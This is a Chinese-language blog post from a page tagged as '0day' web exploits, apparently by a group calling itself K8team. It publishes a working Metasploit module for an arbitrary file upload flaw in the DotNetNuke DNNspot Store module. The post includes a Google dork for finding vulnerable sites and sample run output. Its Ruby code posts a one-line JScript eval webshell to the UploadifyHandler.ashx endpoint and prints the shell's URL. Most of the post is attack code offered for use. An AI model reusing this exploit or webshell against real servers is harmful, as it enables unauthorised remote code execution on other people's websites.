注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

K8拉登哥哥's Blog

K8搞基大队[K8team] 信息安全 网络安全 0day漏洞 渗透测试 黑客

 
 
 

日志

 
 

[MSF] DotNetNuke DNNspot Store <=3.0 GetShell exploit  

2015-04-07 10:28:43|  分类: Web_0day |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |
MSF DotNetNuke DNNspot Store <=3.0 GetShell exploit  by k8team
MSF DotNetNuke DNNspot Store =3.0 GetShell exploit - K8拉登哥哥 - K8拉登哥哥s Blog

MSF里很多EXP都是反弹shell的 用起来不方便
1 没exe执行权限时 有些东西就蛋碎了
2 是大部分人都没VPS,你弹到哪去啊
所以我弄了个直接上传webshell的脚本

DNNspot_upload_aspx.rb

# Exploit Title: DotNetNuke DNNspot Store <=3.0 GetShell exploit
# Date: 31/03/2015
# Author: K8team
# Version: 3.0.0
# Vendor: DNNspot
# Vendor URL: https://www.dnnspot.com
# Google Dork: inurl:/DesktopModules/DNNspot-Store/
#
#msf > use exploit/windows/http/DNNspot_upload_aspx
#msf exploit(DNNspot_upload_aspx) > set RHOST qqhack8.blog.163.com
#RHOST => qqhack8.blog.163.com
#msf exploit(DNNspot_upload_aspx) > exploit

#[*] Started reverse handler on 192.168.85.158:4444
#[*] qqhack8.blog.163.com:80 - Uploading payload...
#[*] K8WebShell: qqhack8.blog.163.com:80/DesktopModules/DNNspot-Store/ProductPhotos/hhmjrrhd.aspx
#[!] This exploit may require manual cleanup of 'hhmjrrhd.aspx' on the target
#msf exploit(DNNspot_upload_aspx) >



require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'DotNetNuke DNNspot Store (UploadifyHandler.ashx) <= 3.0.0 Arbitary File Upload',
      'Description'    => %q{
        This module exploits an arbitrary file upload vulnerability found in DotNetNuke DNNspot Store
        module versions below 3.0.0.
      },
      'Author'         =>
        [
          'Glafkos Charalambous <glafkos.charalambous[at]unithreat.com>'
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'URL', 'http://metasploit.com' ]
        ],
      'Platform'       => 'win',
      'Arch'           => ARCH_X86,
      'Privileged'     => false,
      'Targets'        =>
        [
          [ 'DNNspot-Store / Windows', {} ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jul 21 2014'))
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri("DesktopModules/DNNspot-Store/Modules/Admin/UploadifyHandler.ashx")
    })

    if res and res.code == 200
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Safe
    end
  end

  def exploit
    @payload_name = "#{rand_text_alpha_lower(8)}.aspx"
    exe  = generate_payload_exe
    aspx  = Msf::Util::EXE.to_exe_aspx(exe)
    post_data = Rex::MIME::Message.new
    post_data.add_part("<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"tom\"],\"unsafe\");%>", "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")
    post_data.add_part("/DesktopModules/DNNspot-Store/ProductPhotos/", nil, nil, "form-data; name=\"folder\"")
    post_data.add_part("1", nil, nil, "form-data; name=\"productId\"")
    post_data.add_part("w00t", nil, nil, "form-data; name=\"type\"")
    data = post_data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')

    print_status("#{peer} - Uploading payload...")
    res = send_request_cgi({
      "method" => "POST",
      "uri"    => normalize_uri("DesktopModules/DNNspot-Store/Modules/Admin/UploadifyHandler.ashx"),
      "data"   => data,
      "ctype"  => "multipart/form-data; boundary=#{post_data.bound}"
    })

    unless res and res.code == 200
      fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
    end

    register_files_for_cleanup(@payload_name)

    print_status("K8WebShell: #{peer}/DesktopModules/DNNspot-Store/ProductPhotos/#{@payload_name}")
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri("/DesktopModules/DNNspot-Store/ProductPhotos/",@payload_name)
    })
  end
end

  评论这张
 
阅读(1089)| 评论(2)
推荐 转载

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2016